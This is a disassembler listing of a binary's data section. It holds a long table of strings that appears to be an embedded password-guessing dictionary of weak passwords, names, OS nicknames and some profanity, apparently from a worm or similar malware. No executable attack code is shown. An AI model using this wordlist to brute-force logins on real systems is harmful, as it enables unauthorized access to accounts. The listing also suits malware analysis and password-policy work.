aPad db 'pad',0 ; DATA XREF: .data:00430664o
aOceanography db 'oceanography',0 ; DATA XREF: .data:00430660o
align 4
aNutrition db 'nutrition',0 ; DATA XREF: .data:0043065Co
align 4
aNew db 'new',0 ; DATA XREF: .data:00430658o
aNet db 'net',0 ; DATA XREF: .data:00430654o
aMit db 'mit',0 ; DATA XREF: .data:00430650o
aMgr db 'mgr',0 ; DATA XREF: .data:0043064Co
aMacintosh db 'macintosh',0 ; DATA XREF: .data:00430648o
align 10h
aLiz db 'liz',0 ; DATA XREF: .data:00430644o
aLee db 'lee',0 ; DATA XREF: .data:00430640o
aLamination db 'lamination',0 ; DATA XREF: .data:0043063Co
align 4
aKim db 'kim',0 ; DATA XREF: .data:00430638o
aJoy db 'joy',0 ; DATA XREF: .data:00430630o
aJen db 'jen',0 ; DATA XREF: .data:0043062Co
aInnocuous db 'innocuous',0 ; DATA XREF: .data:00430628o
align 4
aImbroglio db 'imbroglio',0 ; DATA XREF: .data:00430624o
align 4
aIbm db 'ibm',0 ; DATA XREF: .data:00430620o
aHappening db 'happening',0 ; DATA XREF: .data:0043061Co
align 4
aHal db 'hal',0 ; DATA XREF: .data:00430618o
aGnu db 'gnu',0 ; DATA XREF: .data:00430614o
aFun db 'fun',0 ; DATA XREF: .data:00430610o
aForesight db 'foresight',0 ; DATA XREF: .data:0043060Co
align 10h
aFoolproof db 'foolproof',0 ; DATA XREF: .data:00430608o
align 4
aExtension db 'extension',0 ; DATA XREF: .data:00430604o
align 4
aEstablish db 'establish',0 ; DATA XREF: .data:00430600o
align 4
aEnterprise db 'enterprise',0 ; DATA XREF: .data:004305FCo
align 10h
aElizabeth db 'elizabeth',0 ; DATA XREF: .data:004305F8o
align 4
aEiderdown db 'eiderdown',0 ; DATA XREF: .data:004305F4o
align 4
aEdinburgh db 'edinburgh',0 ; DATA XREF: .data:004305F0o
align 4
aDos db 'dos',0 ; DATA XREF: .data:004305ECo
aDog db 'dog',0 ; DATA XREF: .data:004305E8o
aDiscovery db 'discovery',0 ; DATA XREF: .data:004305E4o
align 4
aDesperate db 'desperate',0 ; DATA XREF: .data:004305E0o
align 4
aDeb db 'deb',0 ; DATA XREF: .data:004305DCo
aCornelius db 'cornelius',0 ; DATA XREF: .data:004305D8o
align 4
aCommrades db 'commrades',0 ; DATA XREF: .data:004305D4o
align 10h
aChristine db 'christine',0 ; DATA XREF: .data:004305D0o
align 4
aChristina db 'christina',0 ; DATA XREF: .data:004305CCo
align 4
aChemistry db 'chemistry',0 ; DATA XREF: .data:004305C8o
align 4
aCatherine db 'catherine',0 ; DATA XREF: .data:004305C4o
align 10h
aCat db 'cat',0 ; DATA XREF: .data:004305C0o
aCampanile db 'campanile',0 ; DATA XREF: .data:004305BCo
align 10h
aCad db 'cad',0 ; DATA XREF: .data:004305B8o
aBsd db 'bsd',0 ; DATA XREF: .data:004305B4o
aBob db 'bob',0 ; DATA XREF: .data:004305B0o
aBicameral db 'bicameral',0 ; DATA XREF: .data:004305ACo
align 4
aBeethoven db 'beethoven',0 ; DATA XREF: .data:004305A8o
align 4
aAtmosphere db 'atmosphere',0 ; DATA XREF: .data:004305A4o
align 10h
aAsm db 'asm',0 ; DATA XREF: .data:004305A0o
aAsd db 'asd',0 ; DATA XREF: .data:0043059Co
aAnthropogenic db 'anthropogenic',0 ; DATA XREF: .data:00430598o
align 4
aAnn db 'ann',0 ; DATA XREF: .data:00430594o
aAndromache db 'andromache',0 ; DATA XREF: .data:00430590o
align 4
aAmy db 'amy',0 ; DATA XREF: .data:0043058Co
aAmorphous db 'amorphous',0 ; DATA XREF: .data:00430588o
align 4
aAma db 'ama',0 ; DATA XREF: .data:00430584o
aAlf db 'alf',0 ; DATA XREF: .data:00430580o
aAlbatross db 'albatross',0 ; DATA XREF: .data:0043057Co
align 4
aAda db 'ada',0 ; DATA XREF: .data:00430578o
aH4x0ring db 'h4x0ring',0 ; DATA XREF: .data:00430574o
align 4
aH4x0r1ng db 'h4x0r1ng',0 ; DATA XREF: .data:00430570o
align 4
aH4x1ng db 'h4x1ng',0 ; DATA XREF: .data:0043056Co
align 10h
aHaxing db 'haxing',0 ; DATA XREF: .data:00430568o
align 4
aHax db 'hax',0 ; DATA XREF: .data:00430564o
aWh0re db 'wh0re',0 ; DATA XREF: .data:00430560o
align 4
aHo db 'ho',0 ; DATA XREF: .data:0043055Co
align 4
aWh0r3 db 'wh0r3',0 ; DATA XREF: .data:00430558o
align 10h
aWindoze95 db 'windoze95',0 ; DATA XREF: .data:00430554o
align 4
aWindoze98 db 'windoze98',0 ; DATA XREF: .data:00430550o
align 4
aWindozeme db 'windozeME',0 ; DATA XREF: .data:0043054Co
align 4
aWindoze2k db 'windoze2k',0 ; DATA XREF: .data:00430548o
align 10h
aWindozexp db 'windozexp',0 ; DATA XREF: .data:00430544o
align 4
aWindows95 db 'windows95',0 ; DATA XREF: .data:00430540o
align 4
aWindows98 db 'windows98',0 ; DATA XREF: .data:0043053Co
align 4
aWindowsme db 'windowsME',0 ; DATA XREF: .data:00430538o
align 10h
aWindows2k db 'windows2k',0 ; DATA XREF: .data:00430534o
align 4
aWindowsxp db 'WindowsXP',0 ; DATA XREF: .data:00430530o
align 4
aMs db 'MS',0 ; DATA XREF: .data:0043052Co
align 4
aM db 'M$',0 ; DATA XREF: .data:00430528o
align 10h
aBilly db 'billy',0 ; DATA XREF: .data:00430524o
align 4
aWindose db 'windose',0 ; DATA XREF: .data:00430520o
aWindoze db 'windoze',0 ; DATA XREF: .data:0043051Co
aWindowz db 'windowz',0 ; DATA XREF: .data:00430518o
aWileecoyote db 'wileecoyote',0 ; DATA XREF: .data:00430514o
aDonaldduck db 'donaldduck',0 ; DATA XREF: .data:00430510o
align 4
aAlexander db 'Alexander',0 ; DATA XREF: .data:0043050Co
align 4
aAl3x db 'Al3x',0 ; DATA XREF: .data:00430508o
align 4
aDud3 db 'dud3',0 ; DATA XREF: .data:00430504o
align 4
aDudette db 'dudette',0 ; DATA XREF: .data:00430500o
aD00d db 'd00d',0 ; DATA XREF: .data:004304FCo
align 4
aLol db 'lol',0 ; DATA XREF: .data:004304F8o
aRoscopcoltrane db 'RoscoPColtrane',0 ; DATA XREF: .data:004304F4o
align 4
aRoscop db 'RoscoP',0 ; DATA XREF: .data:004304F0o
align 10h
aRosco db 'Rosco',0 ; DATA XREF: .data:004304ECo
align 4
aRoss db 'Ross',0 ; DATA XREF: .data:004304E8o
align 10h
aTestin db 'testin',0 ; DATA XREF: .data:004304E4o
align 4
aTester db 'tester',0 ; DATA XREF: .data:004304E0o
align 10h
a00000000 db '00000000',0 ; DATA XREF: .data:004304DCo
align 4
aZulu db 'zulu',0 ; DATA XREF: .data:004304D8o
align 4
aZombie db 'zombie',0 ; DATA XREF: .data:004304D4o
align 4
aZmodem db 'zmodem',0 ; DATA XREF: .data:004304D0o
align 4
aZimmerma db 'zimmerma',0 ; DATA XREF: .data:004304CCo
align 10h
aZiggy db 'ziggy',0 ; DATA XREF: .data:004304C8o
align 4
aZeitgeis db 'zeitgeis',0 ; DATA XREF: .data:004304C4o
align 4
aZebra db 'zebra',0 ; DATA XREF: .data:004304C0o
align 4
aYoung db 'young',0 ; DATA XREF: .data:004304BCo
align 4
aYosemite db 'yosemite',0 ; DATA XREF: .data:004304B8o
align 10h
aYolanda db 'yolanda',0 ; DATA XREF: .data:004304B4o
aYellowst db 'yellowst',0 ; DATA XREF: .data:004304B0o
align 4
aYellow db 'yellow',0 ; DATA XREF: .data:004304ACo
align 4
aYankee db 'yankee',0 ; DATA XREF: .data:004304A8o
align 4
aYang db 'yang',0 ; DATA XREF: .data:004304A4o
align 4
aYaco db 'yaco',0 ; DATA XREF: .data:004304A0o
align 4
aXyzzy db 'xyzzy',0 ; DATA XREF: .data:0043049Co
align 4
aXray db 'xray',0 ; DATA XREF: .data:00430498o
align 4
aXmodem db 'xmodem',0 ; DATA XREF: .data:00430494o
align 4
aXmen db 'xmen',0 ; DATA XREF: .data:00430490o
align 4
aXman db 'xman',0 ; DATA XREF: .data:0043048Co
align 4
aXfer db 'xfer',0 ; DATA XREF: .data:00430488o
align 4
aXena db 'xena',0 ; DATA XREF: .data:00430484o
align 4
aWyoming db 'wyoming',0 ; DATA XREF: .data:00430480o
aWwii db 'wwii',0 ; DATA XREF: .data:0043047Co
align 4
aWormwood db 'wormwood',0 ; DATA XREF: .data:00430478o
align 4
aWorm db 'worm',0 ; DATA XREF: .data:00430474o
align 10h
aWork db 'work',0 ; DATA XREF: .data:00430470o
align 4
aWorf db 'worf',0 ; DATA XREF: .data:0043046Co
align 10h
aWordperf db 'wordperf',0 ; DATA XREF: .data:00430468o
align 4
aWord db 'word',0 ; DATA XREF: .data:00430464o
align 4
aWoodwind db 'woodwind',0 ; DATA XREF: .data:00430460o
align 10h
aWood db 'wood',0 ; DATA XREF: .data:0043045Co
align 4
aWomen db 'women',0 ; DATA XREF: .data:00430458o
align 10h
aWombat db 'wombat',0 ; DATA XREF: .data:00430454o
align 4
aWoman db 'woman',0 ; DATA XREF: .data:00430450o
align 10h
aWolverin db 'wolverin',0 ; DATA XREF: .data:0043044Co
align 4
aWolf db 'wolf',0 ; DATA XREF: .data:00430448o
align 4
aWizard db 'wizard',0 ; DATA XREF: .data:00430444o
align 4
aWithin db 'within',0 ; DATA XREF: .data:00430440o
align 4
aWiseass db 'wiseass',0 ; DATA XREF: .data:0043043Co
aWisconsi db 'wisconsi',0 ; DATA XREF: .data:00430438o
align 4
aWired db 'wired',0 ; DATA XREF: .data:00430434o
align 10h
aWinston db 'winston',0 ; DATA XREF: .data:00430430o
aWing db 'wing',0 ; DATA XREF: .data:0043042Co
align 10h
aWine db 'wine',0 ; DATA XREF: .data:00430428o
align 4
aWindows db 'windows',0 ; DATA XREF: .data:00430424o
aWilma db 'wilma',0 ; DATA XREF: .data:00430420o
align 4
aWillie db 'willie',0 ; DATA XREF: .data:0043041Co
align 10h
aWilliams db 'williams',0 ; DATA XREF: .data:00430418o
align 4
aWilliam db 'william',0 ; DATA XREF: .data:00430414o
aWill db 'will',0 ; DATA XREF: .data:00430410o
align 4
aWhore db 'whore',0 ; DATA XREF: .data:0043040Co
align 4
aWholesal db 'wholesal',0 ; DATA XREF: .data:00430408o
align 10h
aWhitney db 'whitney',0 ; DATA XREF: .data:00430404o
aWhiting db 'whiting',0 ; DATA XREF: .data:00430400o
aWhite db 'white',0 ; DATA XREF: .data:004303FCo
align 4
aWhisky db 'whisky',0 ; DATA XREF: .data:004303F8o
align 10h
aWhatnot db 'whatnot',0 ; DATA XREF: .data:004303F4o
aWhatever db 'whatever',0 ; DATA XREF: .data:004303F0o
align 4
aWestern db 'western',0 ; DATA XREF: .data:004303ECo
aWest db 'west',0 ; DATA XREF: .data:004303E8o
align 4
aWerewolf db 'werewolf',0 ; DATA XREF: .data:004303E4o
align 10h
aWendy db 'wendy',0 ; DATA XREF: .data:004303E0o
align 4
aWendi db 'wendi',0 ; DATA XREF: .data:004303DCo
align 10h
aWell db 'well',0 ; DATA XREF: .data:004303D8o
align 4
aWeenie db 'weenie',0 ; DATA XREF: .data:004303D4o
align 10h
aWeed db 'weed',0 ; DATA XREF: .data:004303D0o
align 4
aWednesda db 'wednesda',0 ; DATA XREF: .data:004303CCo
align 4
aWebpage db 'webpage',0 ; DATA XREF: .data:004303C8o
aWave db 'wave',0 ; DATA XREF: .data:004303C4o
align 4
aWater db 'water',0 ; DATA XREF: .data:004303C0o
align 4
aWatchwor db 'watchwor',0 ; DATA XREF: .data:004303BCo
align 4
aWasp db 'wasp',0 ; DATA XREF: .data:004303B8o
align 10h
aWarren db 'warren',0 ; DATA XREF: .data:004303B4o
align 4
aWarp db 'warp',0 ; DATA XREF: .data:004303B0o
align 10h
aWargames db 'wargames',0 ; DATA XREF: .data:004303ACo
align 4
aWarfare db 'warfare',0 ; DATA XREF: .data:004303A8o
aWarez db 'warez',0 ; DATA XREF: .data:004303A4o
align 4
aWard db 'ward',0 ; DATA XREF: .data:004303A0o
align 4
aWaco db 'waco',0 ; DATA XREF: .data:0043039Co
align 4
aVodka db 'vodka',0 ; DATA XREF: .data:00430398o
align 4
aVisualba db 'visualba',0 ; DATA XREF: .data:00430394o
align 10h
aVisual db 'visual',0 ; DATA XREF: .data:00430390o
align 4
aVisitor db 'visitor',0 ; DATA XREF: .data:0043038Co
aVirus db 'virus',0 ; DATA XREF: .data:00430388o
align 4
aVirginia db 'virginia',0 ; DATA XREF: .data:00430384o
align 4
aVirgin db 'virgin',0 ; DATA XREF: .data:00430380o
align 4
aVillage db 'village',0 ; DATA XREF: .data:0043037Co
aVideogam db 'videogam',0 ; DATA XREF: .data:00430378o
align 10h
aVideo db 'video',0 ; DATA XREF: sub_40EC43:loc_413327o
; .data:00430374o
align 4
aVictor db 'victor',0 ; DATA XREF: .data:00430370o
align 10h
aVicky db 'vicky',0 ; DATA XREF: .data:0043036Co
align 4
aVertigo db 'vertigo',0 ; DATA XREF: .data:00430368o
aVeronica db 'veronica',0 ; DATA XREF: .data:00430364o
align 4
aVenus db 'venus',0 ; DATA XREF: .data:00430360o
align 4
aVasant db 'vasant',0 ; DATA XREF: .data:0043035Co
align 4
aVampire db 'vampire',0 ; DATA XREF: .data:00430358o
aValerie db 'valerie',0 ; DATA XREF: .data:00430354o
aVagina db 'vagina',0 ; DATA XREF: .data:00430350o
align 4
aUucp db 'uucp',0 ; DATA XREF: .data:0043034Co
align 4
aUtility db 'utility',0 ; DATA XREF: .data:00430348o
aUtil db 'util',0 ; DATA XREF: .data:00430344o
align 4
aUsmc db 'usmc',0 ; DATA XREF: .data:00430340o
align 4
aUsername_0 db 'username',0 ; DATA XREF: .data:0043033Co
align 10h
aUsermane db 'usermane',0 ; DATA XREF: .data:00430338o
align 4
aUsenet db 'usenet',0 ; DATA XREF: .data:00430334o
align 4
aUrsula db 'ursula',0 ; DATA XREF: .data:00430330o
align 4
aUrchin db 'urchin',0 ; DATA XREF: .data:0043032Co
align 4
aUranus db 'uranus',0 ; DATA XREF: .data:00430328o
align 4
aUpload db 'upload',0 ; DATA XREF: .data:00430324o
align 4
aUnlock db 'unlock',0 ; DATA XREF: .data:00430320o
align 4
aUnknown_1 db 'unknown',0 ; DATA XREF: .data:0043031Co
aUniversi db 'universi',0 ; DATA XREF: .data:00430318o
align 10h
aUniverse db 'universe',0 ; DATA XREF: .data:00430314o
align 4
aUniversa db 'universa',0 ; DATA XREF: .data:00430310o
align 4
aUniform db 'uniform',0 ; DATA XREF: .data:0043030Co
aUnicorn db 'unicorn',0 ; DATA XREF: .data:00430308o
aUnhappy db 'unhappy',0 ; DATA XREF: .data:00430304o
aUndo db 'undo',0 ; DATA XREF: .data:00430300o
align 4
aUncle db 'uncle',0 ; DATA XREF: .data:004302FCo
align 10h
aUmesh db 'umesh',0 ; DATA XREF: .data:004302F8o
align 4
aUgly db 'ugly',0 ; DATA XREF: .data:004302F4o
align 10h
aTuttle db 'tuttle',0 ; DATA XREF: .data:004302F0o
align 4
aTurn db 'turn',0 ; DATA XREF: .data:004302ECo
align 10h
aTuesday db 'tuesday',0 ; DATA XREF: .data:004302E8o
aTubas db 'tubas',0 ; DATA XREF: .data:004302E4o
align 10h
aTruth db 'truth',0 ; DATA XREF: .data:004302E0o
align 4
aTrue db 'true',0 ; DATA XREF: .data:004302DCo
align 10h
aTron db 'tron',0 ; DATA XREF: .data:004302D8o
align 4
aTrombone db 'trombone',0 ; DATA XREF: .data:004302D4o
align 4
aTrojan db 'trojan',0 ; DATA XREF: .data:004302D0o
align 4
aTrivial db 'trivial',0 ; DATA XREF: .data:004302CCo
aTrisha db 'trisha',0 ; DATA XREF: .data:004302C8o
align 4
aTrek db 'trek',0 ; DATA XREF: .data:004302C4o
align 4
aTree db 'tree',0 ; DATA XREF: .data:004302C0o
align 4
aTrapdoor db 'trapdoor',0 ; DATA XREF: .data:004302BCo
align 4
aTrap db 'trap',0 ; DATA XREF: .data:004302B8o
align 10h
aTransfer db 'transfer',0 ; DATA XREF: .data:004302B4o
align 4
aTrails db 'trails',0 ; DATA XREF: .data:004302B0o
align 4
aTracy db 'tracy',0 ; DATA XREF: .data:004302ACo
align 4
aTracie db 'tracie',0 ; DATA XREF: .data:004302A8o
align 4
aTraci db 'traci',0 ; DATA XREF: .data:004302A4o
align 4
aToyota db 'toyota',0 ; DATA XREF: .data:004302A0o
align 4
aToxic db 'toxic',0 ; DATA XREF: .data:0043029Co
align 4
aTortoise db 'tortoise',0 ; DATA XREF: .data:00430298o
align 4
aTopograp db 'topograp',0 ; DATA XREF: .data:00430294o
align 4
aTomato db 'tomato',0 ; DATA XREF: .data:00430290o
align 4
aTokenrin db 'tokenrin',0 ; DATA XREF: .data:0043028Co
align 4
aToken db 'token',0 ; DATA XREF: .data:00430288o
align 10h
aToggle db 'toggle',0 ; DATA XREF: .data:00430284o
align 4
aToad db 'toad',0 ; DATA XREF: .data:00430280o
align 10h
aTits db 'tits',0 ; DATA XREF: .data:0043027Co
align 4
aTina db 'tina',0 ; DATA XREF: .data:00430278o
align 10h
aTime db 'time',0 ; DATA XREF: .data:00430274o
align 4
aTiger db 'tiger',0 ; DATA XREF: .data:00430270o
align 10h
aTiffany db 'tiffany',0 ; DATA XREF: .data:0043026Co
aThursday db 'thursday',0 ; DATA XREF: .data:00430268o
align 4
aThin db 'thin',0 ; DATA XREF: .data:00430264o
align 4
aTheresa db 'theresa',0 ; DATA XREF: .data:00430260o
aThailand db 'thailand',0 ; DATA XREF: .data:0043025Co
align 10h
aText db 'text',0 ; DATA XREF: .data:00430258o
align 4
aTetris db 'tetris',0 ; DATA XREF: .data:00430254o
align 10h
aTess db 'tess',0 ; DATA XREF: .data:00430250o
align 4
aTerminat db 'terminat',0 ; DATA XREF: .data:0043024Co
align 4
aTerminal db 'terminal',0 ; DATA XREF: .data:00430248o
align 10h
aTera db 'tera',0 ; DATA XREF: .data:00430244o
align 4
aTennis db 'tennis',0 ; DATA XREF: .data:00430240o
align 10h
aTemptati db 'temptati',0 ; DATA XREF: .data:0043023Co
align 4
aTelnet db 'telnet',0 ; DATA XREF: .data:00430238o
align 4
aTelephon db 'telephon',0 ; DATA XREF: .data:00430234o
align 10h
aTeenage db 'teenage',0 ; DATA XREF: .data:00430230o
aTeen db 'teen',0 ; DATA XREF: .data:0043022Co
align 10h
aTech db 'tech',0 ; DATA XREF: .data:00430228o
align 4
aTears db 'tears',0 ; DATA XREF: .data:00430224o
align 10h
aTeapot db 'teapot',0 ; DATA XREF: .data:00430220o
align 4
aTeam db 'team',0 ; DATA XREF: .data:0043021Co
align 10h
aTaylor db 'taylor',0 ; DATA XREF: .data:00430214o
align 4
aTarragon db 'tarragon',0 ; DATA XREF: .data:00430210o
align 4
aTarget db 'target',0 ; DATA XREF: .data:0043020Co
align 4
aTara db 'tara',0 ; DATA XREF: .data:00430208o
align 4
aTape db 'tape',0 ; DATA XREF: .data:00430204o
align 4
aTango db 'tango',0 ; DATA XREF: .data:00430200o
align 4
aTangerin db 'tangerin',0 ; DATA XREF: .data:004301FCo
align 10h
aTammy db 'tammy',0 ; DATA XREF: .data:004301F8o
align 4
aTamie db 'tamie',0 ; DATA XREF: .data:004301F4o
align 10h
aTami db 'tami',0 ; DATA XREF: .data:004301F0o
align 4
aTamara db 'tamara',0 ; DATA XREF: .data:004301ECo
align 10h
aTall db 'tall',0 ; DATA XREF: .data:004301E8o
align 4
aTalk db 'talk',0 ; DATA XREF: .data:004301E4o
align 10h
aTabasco db 'tabasco',0 ; DATA XREF: .data:004301E0o
aSysop db 'sysop',0 ; DATA XREF: .data:004301DCo
align 10h
aSysadmin db 'sysadmin',0 ; DATA XREF: .data:004301D8o
align 4
aSymmetry db 'symmetry',0 ; DATA XREF: .data:004301D4o
align 4
aSybil db 'sybil',0 ; DATA XREF: .data:004301D0o
align 10h
aSword db 'sword',0 ; DATA XREF: .data:004301CCo
align 4
aSwitch db 'switch',0 ; DATA XREF: .data:004301C8o
align 10h
aSweat db 'sweat',0 ; DATA XREF: .data:004301C4o
align 4
aSwearer db 'swearer',0 ; DATA XREF: .data:004301C0o
aSuzie db 'suzie',0 ; DATA XREF: .data:004301BCo
align 4
aSuzanne db 'suzanne',0 ; DATA XREF: .data:004301B8o
aSusie db 'susie',0 ; DATA XREF: .data:004301B4o
align 4
aSusanne db 'susanne',0 ; DATA XREF: .data:004301B0o
aSusan db 'susan',0 ; DATA XREF: .data:004301ACo
align 4
aSurfing db 'surfing',0 ; DATA XREF: .data:004301A8o
aSurfer db 'surfer',0 ; DATA XREF: .data:004301A4o
align 4
aSupporte db 'supporte',0 ; DATA XREF: .data:004301A0o
align 4
aSupport db 'support',0 ; DATA XREF: .data:0043019Co
aSupervis db 'supervis',0 ; DATA XREF: .data:00430198o
align 4
aSuperuse db 'superuse',0 ; DATA XREF: .data:00430194o
align 4
aSupersta db 'supersta',0 ; DATA XREF: .data:00430190o
align 10h
aSuperson db 'superson',0 ; DATA XREF: .data:0043018Co
align 4
aSuperman db 'superman',0 ; DATA XREF: .data:00430188o
align 4
aSunday db 'sunday',0 ; DATA XREF: .data:00430184o
align 10h
aSummer db 'summer',0 ; DATA XREF: .data:00430180o
align 4
aSucks db 'sucks',0 ; DATA XREF: .data:0043017Co
align 10h
aSuckmydi db 'suckmydi',0 ; DATA XREF: .data:00430178o
align 4
aSuck db 'suck',0 ; DATA XREF: .data:00430174o
align 4
aSuccess db 'success',0 ; DATA XREF: .data:00430170o
aSubway db 'subway',0 ; DATA XREF: .data:0043016Co
align 4
aSubscrib db 'subscrib',0 ; DATA XREF: .data:00430168o
align 10h
aStuttgar db 'stuttgar',0 ; DATA XREF: .data:00430164o
align 4
aStrip db 'strip',0 ; DATA XREF: .data:0043015Co
align 4
aString db 'string',0 ; DATA XREF: .data:00430158o
align 4
aStreetfi db 'streetfi',0 ; DATA XREF: .data:00430154o
align 4
aStratfor db 'stratfor',0 ; DATA XREF: .data:00430150o
align 4
aStrangle db 'strangle',0 ; DATA XREF: .data:0043014Co
align 10h
aStrange db 'strange',0 ; DATA XREF: .data:00430148o
aStones db 'stones',0 ; DATA XREF: .data:00430144o
align 10h
aStoned db 'stoned',0 ; DATA XREF: .data:00430140o
align 4
aStoneage db 'stoneage',0 ; DATA XREF: .data:0043013Co
align 4
aSteve db 'steve',0 ; DATA XREF: .data:00430138o
align 4
aStereo db 'stereo',0 ; DATA XREF: .data:00430134o
align 4
aStephani db 'stephani',0 ; DATA XREF: .data:00430130o
align 10h
aSteph db 'steph',0 ; DATA XREF: .data:0043012Co
align 4
aSteel db 'steel',0 ; DATA XREF: .data:00430128o
align 10h
aSteal db 'steal',0 ; DATA XREF: .data:00430124o
align 4
aSteak db 'steak',0 ; DATA XREF: .data:00430120o
align 10h
aStarwars db 'starwars',0 ; DATA XREF: .data:0043011Co
align 4
aStartup db 'startup',0 ; DATA XREF: .data:00430118o
aStartrek db 'startrek',0 ; DATA XREF: .data:00430114o
align 10h
aStart db 'start',0 ; DATA XREF: sub_40EC43+1FA8o
; .data:00430110o
align 4
aStarship db 'starship',0 ; DATA XREF: .data:0043010Co
align 4
aStar db 'star',0 ; DATA XREF: .data:00430108o
align 4
aStacy db 'stacy',0 ; DATA XREF: .data:00430104o
align 4
aStacie db 'stacie',0 ; DATA XREF: .data:00430100o
align 4
aStaci db 'staci',0 ; DATA XREF: .data:004300FCo
align 4
aStacey db 'stacey',0 ; DATA XREF: .data:004300F8o
align 4
aSr71 db 'sr71',0 ; DATA XREF: .data:004300F4o
align 4
aSquires db 'squires',0 ; DATA XREF: .data:004300F0o
aSpunk db 'spunk',0 ; DATA XREF: .data:004300ECo
align 4
aSpringer db 'springer',0 ; DATA XREF: .data:004300E8o
align 10h
aSpring db 'spring',0 ; DATA XREF: .data:004300E4o
align 4
aSpred db 'spred',0 ; DATA XREF: .data:004300E0o
align 10h
aSpit db 'spit',0 ; DATA XREF: .data:004300DCo
align 4
aSpiderma db 'spiderma',0 ; DATA XREF: .data:004300D8o
align 4
aSpider db 'spider',0 ; DATA XREF: .data:004300D4o
align 4
aSpice db 'spice',0 ; DATA XREF: .data:004300D0o
align 4
aSpell db 'spell',0 ; DATA XREF: .data:004300CCo
align 4
aSpear db 'spear',0 ; DATA XREF: .data:004300C8o
align 4
aSparrows db 'sparrows',0 ; DATA XREF: .data:004300C4o
align 10h
aSpaceshi db 'spaceshi',0 ; DATA XREF: .data:004300C0o
align 4
aSouth db 'south',0 ; DATA XREF: .data:004300BCo
align 4
aSource db 'source',0 ; DATA XREF: .data:004300B8o
align 4
aSossina db 'sossina',0 ; DATA XREF: .data:004300B4o
aSonya db 'sonya',0 ; DATA XREF: .data:004300B0o
align 4
aSonic db 'sonic',0 ; DATA XREF: .data:004300ACo
align 4
aSonia db 'sonia',0 ; DATA XREF: .data:004300A8o
align 4
aSondra db 'sondra',0 ; DATA XREF: .data:004300A4o
align 4
aSomebody db 'somebody',0 ; DATA XREF: .data:004300A0o
align 10h
aSoftware db 'software',0 ; DATA XREF: .data:0043009Co
align 4
aSoft db 'soft',0 ; DATA XREF: .data:00430098o
align 4
aSodomy db 'sodomy',0 ; DATA XREF: .data:00430094o
align 4
aSocrates db 'socrates',0 ; DATA XREF: .data:00430090o
align 4
aSocial db 'social',0 ; DATA XREF: .data:0043008Co
align 10h
aSoap db 'soap',0 ; DATA XREF: .data:00430088o
align 4
aSnoopy db 'snoopy',0 ; DATA XREF: .data:00430084o
align 10h
aSnatch db 'snatch',0 ; DATA XREF: .data:00430080o
align 4
aSnake db 'snake',0 ; DATA XREF: .data:0043007Co
align 10h
aSnafu db 'snafu',0 ; DATA XREF: .data:00430078o
align 4
aSnach db 'snach',0 ; DATA XREF: .data:00430074o
align 10h
aSmut db 'smut',0 ; DATA XREF: .data:00430070o
align 4
aSmtp db 'smtp',0 ; DATA XREF: .data:0043006Co
align 10h
aSmother db 'smother',0 ; DATA XREF: .data:00430068o
aSmooch db 'smooch',0 ; DATA XREF: .data:00430064o
align 10h
aSmiles db 'smiles',0 ; DATA XREF: .data:00430060o
align 4
aSmile db 'smile',0 ; DATA XREF: .data:off_43005Co
align 10h
aSmart db 'smart',0 ; DATA XREF: .data:00430058o
align 4
aSmall db 'small',0 ; DATA XREF: .data:00430054o
align 10h
aSlut db 'slut',0 ; DATA XREF: .data:off_430050o
align 4
aSlow db 'slow',0 ; DATA XREF: .data:0043004Co
align 10h
aSliders db 'sliders',0 ; DATA XREF: .data:00430048o
aSlick db 'slick',0 ; DATA XREF: .data:00430044o
align 10h
aSlave db 'slave',0 ; DATA XREF: .data:00430040o
align 4
aSkull db 'skull',0 ; DATA XREF: .data:0043003Co
align 10h
aSite db 'site',0 ; DATA XREF: .data:00430038o
align 4
aSingle db 'single',0 ; DATA XREF: .data:00430034o
align 10h
aSinger db 'singer',0 ; DATA XREF: .data:00430030o
align 4
aSimulati db 'simulati',0 ; DATA XREF: .data:0043002Co
align 4
aSimpsons db 'simpsons',0 ; DATA XREF: .data:00430028o
align 10h
aSimple db 'simple',0 ; DATA XREF: .data:00430024o
align 4
aSimon db 'simon',0 ; DATA XREF: .data:00430020o
align 10h
aSimcity db 'simcity',0 ; DATA XREF: .data:0043001Co
aSilver db 'silver',0 ; DATA XREF: .data:00430018o
align 10h
aSignatur db 'signatur',0 ; DATA XREF: .data:00430014o
align 4
aSierra db 'sierra',0 ; DATA XREF: .data:00430010o
align 4
aSick db 'sick',0 ; DATA XREF: .data:0043000Co
align 4
aShuttle db 'shuttle',0 ; DATA XREF: .data:00430008o
aShort db 'short',0 ; DATA XREF: .data:00430004o
align 4
aShivers db 'shivers',0 ; DATA XREF: .data:00430000o
aShiva db 'shiva',0 ; DATA XREF: .data:0042FFFCo
align 4
aShitpot db 'shitpot',0 ; DATA XREF: .data:0042FFF8o
aShit db 'shit',0 ; DATA XREF: .data:0042FFF4o
align 4
aShirley db 'shirley',0 ; DATA XREF: .data:0042FFF0o
aShift db 'shift',0 ; DATA XREF: .data:0042FFECo
align 4
aSherri db 'sherri',0 ; DATA XREF: .data:0042FFE8o
align 4
aShell db 'shell',0 ; DATA XREF: .data:0042FFE4o
align 4
aSheldon db 'sheldon',0 ; DATA XREF: .data:0042FFE0o
aSheffiel db 'sheffiel',0 ; DATA XREF: .data:0042FFDCo
align 10h
aSharon db 'sharon',0 ; DATA XREF: .data:0042FFD8o
align 4
aSharks db 'sharks',0 ; DATA XREF: .data:0042FFD4o
align 10h
aShark db 'shark',0 ; DATA XREF: .data:0042FFD0o
align 4
aSharc db 'sharc',0 ; DATA XREF: .data:0042FFCCo
align 10h
aShannon db 'shannon',0 ; DATA XREF: .data:0042FFC8o
aSexy db 'sexy',0 ; DATA XREF: .data:0042FFC4o
align 10h
aSesame db 'sesame',0 ; DATA XREF: .data:0042FFC0o
align 4
aService db 'service',0 ; DATA XREF: .data:0042FFBCo
aSerial_0 db 'serial',0 ; DATA XREF: .data:0042FFB8o
align 4
aSerenity db 'serenity',0 ; DATA XREF: .data:0042FFB4o
align 4
aSentry db 'sentry',0 ; DATA XREF: .data:0042FFB0o
align 4
aSentinel db 'sentinel',0 ; DATA XREF: .data:0042FFACo
align 4
aSensor db 'sensor',0 ; DATA XREF: .data:0042FFA8o
align 10h
aSega db 'sega',0 ; DATA XREF: .data:0042FFA4o
align 4
aSeed db 'seed',0 ; DATA XREF: .data:0042FFA0o
align 10h
aSecurity db 'security',0 ; DATA XREF: .data:0042FF9Co
align 4
aSearch db 'search',0 ; DATA XREF: .data:0042FF98o
align 4
aScout db 'scout',0 ; DATA XREF: .data:0042FF94o
align 4
aScotty db 'scotty',0 ; DATA XREF: .data:0042FF90o
align 4
aScott db 'scott',0 ; DATA XREF: .data:0042FF8Co
